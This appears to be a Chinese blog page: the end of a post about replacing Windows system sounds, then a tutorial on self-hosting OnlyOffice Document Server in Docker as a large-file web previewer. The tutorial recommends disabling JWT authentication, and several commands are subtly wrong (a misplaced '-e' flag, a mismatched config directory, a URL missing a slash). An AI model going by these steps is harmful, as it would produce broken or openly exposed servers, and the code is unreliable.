2021/06/05  20:04           995,772 Ring08.wav
2021/06/05  20:04           869,328 Ring09.wav
2021/06/05  20:04           701,708 Ring10.wav
2021/06/05  20:04            88,236 ringout.wav
2021/06/05  20:05            79,024 Show_48000Hz.raw
2021/06/05  20:05           153,644 Speech Disambiguation.wav
2021/06/05  20:05            71,212 Speech Misrecognition.wav
2021/06/05  20:05           188,460 Speech Off.wav
2021/06/05  20:05           147,500 Speech On.wav
2021/06/05  20:05           128,812 Speech Sleep.wav
2021/06/05  20:04           285,228 tada.wav
2021/06/05  20:04            22,097 town.mid
2005/09/27  13:53             2,994 Type.wav
2021/06/05  20:04           247,624 Windows Background.wav
2021/06/05  20:04           178,220 Windows Balloon.wav
2021/06/05  20:04           214,828 Windows Battery Critical.wav
2021/06/05  20:04           179,500 Windows Battery Low.wav
2021/06/05  20:04           159,276 Windows Critical Stop.wav
2021/06/05  20:04            72,620 Windows Default.wav
2021/06/05  20:04           191,788 Windows Ding.wav
2021/06/05  20:04           171,564 Windows Error.wav
2021/06/05  20:04           240,284 Windows Exclamation.wav
2021/06/05  20:06            19,884 Windows Feed Discovered.wav
2021/06/05  20:04           405,040 Windows Foreground.wav
2021/06/05  20:04           128,720 Windows Hardware Fail.wav
2021/06/05  20:04           125,220 Windows Hardware Insert.wav
2021/06/05  20:04           161,580 Windows Hardware Remove.wav
2021/06/05  20:06            23,308 Windows Information Bar.wav
2021/06/05  20:04           190,388 Windows Logoff Sound.wav
2021/06/05  20:04           384,496 Windows Logon.wav
2021/06/05  20:04            26,124 Windows Menu Command.wav
2021/06/05  20:04           240,140 Windows Message Nudge.wav
2021/06/05  20:04           129,580 Windows Minimize.wav
2021/06/05  20:06            11,340 Windows Navigation Start.wav
2021/06/05  20:04           381,956 Windows Notify Calendar.wav
2021/06/05  20:04           376,120 Windows Notify Email.wav
2021/06/05  20:04           359,412 Windows Notify Messaging.wav
2021/06/05  20:04           248,092 Windows Notify System Generic.wav
2021/06/05  20:04           227,372 Windows Notify.wav
2021/06/05  20:06            85,548 Windows Pop-up Blocked.wav
2021/06/05  20:04           353,836 Windows Print complete.wav
2021/06/05  20:04           352,060 Windows Proximity Connection.wav
2021/06/05  20:04           143,740 Windows Proximity Notification.wav
2021/06/05  20:04            95,404 Windows Recycle.wav
2021/06/05  20:04           154,924 Windows Restore.wav
2021/06/05  20:04           198,956 Windows Ringin.wav
2021/06/05  20:04            22,070 Windows Ringout.wav
2021/06/05  20:04           169,444 Windows Shutdown.wav
2021/06/05  20:04            38,380 Windows Startup.wav
2021/06/05  20:04           241,708 Windows Unlock.wav
2021/06/05  20:04           405,040 Windows User Account Control.wav
2005/07/12  11:13             6,254 wRight.wav

接下来我们将文件复制到系统目录

copy /Y *.* C:\Windows\Media

如果看到

已复制        86 个文件。

就证明复制成功了~

现在你就可以享受这台 "Windows 10.5" 了（）

使用 OnlyOffice 实现大文档在线预览！告别20M限制

Sat, 14 Mar 2026 00:00:00 GMT

起因是这样的……

最近有一个需求：将使用 Openlist 存储的文档使用 Web 端预览……虽然理论上我的存储是 E5 ，可以使用微软od的预览器，但是这玩意有匿名速率限制且不方便接入。当然，也有iframe预览器这种东西，然而当你打开一个130M的PPT，就会出现 (而且Google的预览器由于众所周知的原因并不能裸连) 那么我们就很有必要自己搭建一个预览器了……

啥是OnlyOfficen Document Server?

ONLYOFFICE Document Server is an online office suite comprising viewers and editors for texts, spreadsheets and presentations, fully compatible with Office Open XML formats: .docx, .xlsx, .pptx and enabling collaborative editing in real time. ::github{repo="ONLYOFFICE/Docker-DocumentServer"} 简单来说，就是一个在Docker里面跑的、类似Microsoft Office Online的在线Office套件。

部署

官方文档:https://helpcenter.onlyoffice.com/docs/installation/docs-community-install-docker.aspx 首先，对于性能这块，官方是这么要求的：

CPU: dual core 2 GHz or better
RAM: 4 GB or more
HDD: at least 40 GB of free space
SWAP: at least 4 GB, but depends on the host OS. More is better
OS: amd64 Linux distribution with kernel version 3.10 or later 但是其实实际拉下来只需要大约6GB的硬盘和400MiB的运行时内存。先安个Docker。<del>应该都会那就跳过了</del> 然后拉一下镜像：

docker pull onlyoffice/documentserver:latest

完整镜像5.7GB左右，请为服务器留足空间然后，创建配置目录并启动容器：

mkdir ~/openoffice_config  #这里的配置目录可以自己指定，但是记得在下面改
sudo docker run -i -t -d -p 8080:80 --restart=always -v ~/onlyoffice_config:/etc/onlyoffice/documentserver -e JWT_SECRET=你的jwt密钥 onlyoffice/documentserver

其中的8080是你想开放到宿主的端口，关于JWT_SECRET，这是为了防止他人使用，在调用是应该传入的访问密钥，可以自定义。但是在这个场景中，即使你有密钥，也会在前端明文，所以建议不配置：如果懒得配置密码，也可以将环境变量JWT_SECRET去掉，加上-e JWT_ENABLED=false，即：

mkdir ~/openoffice_config
sudo docker run -i -t -d -p 8080:80 --restart=always -e -v ~/onlyoffice_config:/etc/onlyoffice/documentserver JWT_ENABLED=false onlyoffice/documentserver

启动后访问对应的端口，你应该能看到：

#配置

修改最大下载大小

要把 OnlyOffice 作为预览器使用，我们还需要进行一些配置。默认情况下是不支持100MB以上的文件的，需要改配置文件，所以我们需要手动挂载并修改。请确保你在上一步中创建的配置文件夹有效。

nano ~/onlyoffice_config/default.json #或你自己的配置目录

定位到FileConverter中的converter块，修改maxDownloadBytes：

"converter": {
      "maxDownloadBytes": 10485760000, #原来是104857600.这个参数代表允许的最大文件大小，以字节计算，此处改为了10GB
      "downloadTimeout": {
        "connectionAndInactivity": "2m",
        "wholeCycle": "2m"
      },

保存后重启容器：

docker restart $(docker ps -q --filter ancestor=onlyoffice/documentserver)

搭建预览前端

要实现预览iframe我们还需要一个静态网页来调用onlyoffice的js。你可以使用各种Pages服务（如Github Pages,Cloudflare Pages,Netlify.......）免费托管，这个对前端速度要求不大。可以参考如下的html，但是记得将<script>中的onlyoffice地址替换。

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>OnlyOffice 预览器</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        html, body {
            width: 100%;
            height: 100%;
            overflow: hidden;
            background: #f5f5f5;
        }
        #placeholder {
            width: 100%;
            height: 100%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-family: system-ui, -apple-system, sans-serif;
            color: #666;
        }
        .error {
            color: #d32f2f;
            background: #ffebee;
            padding: 16px 24px;
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }
    </style>
</head>
<body>
    <!-- OnlyOffice 编辑器将挂载到此容器 -->
    <div id="onlyoffice-container" style="width: 100%; height: 100%;"></div>
    <!-- 初始占位提示 -->
    <div id="placeholder">正在加载预览器...</div>

    <script>
        (function() {
            // ==================== 配置 ====================
            // 请替换为你的 OnlyOffice 文档服务地址
            const DOCUMENT_SERVER_URL = 'http://example.com';
            
            // ==================== 工具函数 ====================
            // 从 URL 获取查询参数
            function getQueryParam(name) {
                const params = new URLSearchParams(window.location.search);
                return params.get(name);
            }

            // 从文件 URL 中提取文件名（作为备用）
            function getFileNameFromUrl(url) {
                try {
                    const pathname = new URL(url, window.location.origin).pathname;
                    const name = pathname.split('/').pop();
                    if (name && name.includes('.')) return name;
                    return 'document';
                } catch {
                    return 'document';
                }
            }

            // 获取文件扩展名（不含点，小写）
            function getFileExtension(url) {
                const path = url.split('?')[0]; // 去除查询参数
                const parts = path.split('.');
                if (parts.length < 2) return '';
                return parts.pop().toLowerCase();
            }

            // 根据扩展名判断 OnlyOffice 文档类型
            function getDocumentType(extension) {
                const cellTypes = ['xls', 'xlsx', 'xlsm', 'xlsb', 'csv', 'ods', 'fods', 'ots'];
                const slideTypes = ['ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'odp', 'fodp', 'otp'];
                
                if (cellTypes.includes(extension)) return 'cell';
                if (slideTypes.includes(extension)) return 'slide';
                // 其余均视为文本文档（包括 .doc, .docx, .pdf, .txt, .rtf 等）
                return 'word';
            }

            // 隐藏占位元素
            function hidePlaceholder() {
                const ph = document.getElementById('placeholder');
                if (ph) ph.style.display = 'none';
            }

            // 显示错误信息
            function showError(message) {
                const container = document.getElementById('onlyoffice-container');
                const ph = document.getElementById('placeholder');
                if (ph) ph.style.display = 'none';
                container.innerHTML = `<div class="error">❌ ${message}</div>`;
            }

            // ==================== 主逻辑 ====================
            const fileUrl = getQueryParam('src');
            
            // 如果没有提供 src 参数，显示错误
            if (!fileUrl) {
                showError('缺少参数：请通过 ?src=文件URL 指定要预览的文件');
                throw new Error('缺少 src 参数');
            }

            // 解码 URL（处理可能的编码）
            const decodedFileUrl = decodeURIComponent(fileUrl);
            const fileExtension = getFileExtension(decodedFileUrl);
            const fileName = getFileNameFromUrl(decodedFileUrl);
            const documentType = getDocumentType(fileExtension);

            // 构建 OnlyOffice 配置（纯预览模式）
            const config = {
                document: {
                    fileType: fileExtension,
                    key: `${fileName}_${Date.now()}`,
                    title: fileName,
                    url: decodedFileUrl,
                },
                documentType: documentType,
                editorConfig: {
                    mode: 'view',           // 仅预览，不可编辑
                    lang: 'zh-CN',
                },
                height: '100%',
                width: '100%',
                // 可选：事件监听
                events: {
                    onAppReady: function() {
                        hidePlaceholder();
                        console.log('OnlyOffice 编辑器已就绪');
                    },
                    onDocumentReady: function() {
                        console.log('文档加载完成');
                    },
                    onError: function(error) {
                        console.error('文档错误:', error);
                        showError(`文档加载失败: ${error.data || '未知错误'}`);
                    }
                }
            };

            // 加载 OnlyOffice API 脚本并初始化
            function loadOnlyOfficeAPI() {
                const script = document.createElement('script');
                script.src = `${DOCUMENT_SERVER_URL}web-apps/apps/api/documents/api.js`;
                script.onload = function() {
                    try {
                        // 初始化编辑器
                        window.DocEditor = new DocsAPI.DocEditor('onlyoffice-container', config);
                    } catch (e) {
                        showError(`初始化失败: ${e.message}`);
                    }
                };
                script.onerror = function() {
                    showError(`无法连接到 OnlyOffice 文档服务 (${DOCUMENT_SERVER_URL})，请检查服务地址或网络`);
                };
                document.head.appendChild(script);
            }

            // 开始加载
            loadOnlyOfficeAPI();
        })();
    </script>
</body>
</html>

预览前端html并不需要和后端在同一域名，但是推荐使用反向代理将其绑定到后端域名的/。部署好之后，就可以通过预览器地址/?src=文件url这个iframe进行office文件的预览了。你也可以在OpenList的预览中iframe预览项目填写：

	"doc,docx,xls,xlsx,ppt,pptx": {
		"OnlyOffice": "http(s)://你的预览器/?src=$e_url"
	},

对于 Onedrive 等下载链接不带后缀名的平台

例如Onedrive，在OpenList中得到的下载链接是同一download.aspx，无法通过后缀判断文件类型，这时就需要手动指定文件类型……具体方法可以咨询各大AI。

我一点都不想自建，只想白嫖？

好吧，既然你都看到这了。你也可以使用我搭建的服务，

https://previewfront.y-dev.tech/?src={YOUR_URL}

会根据后缀名自动选择预览方式。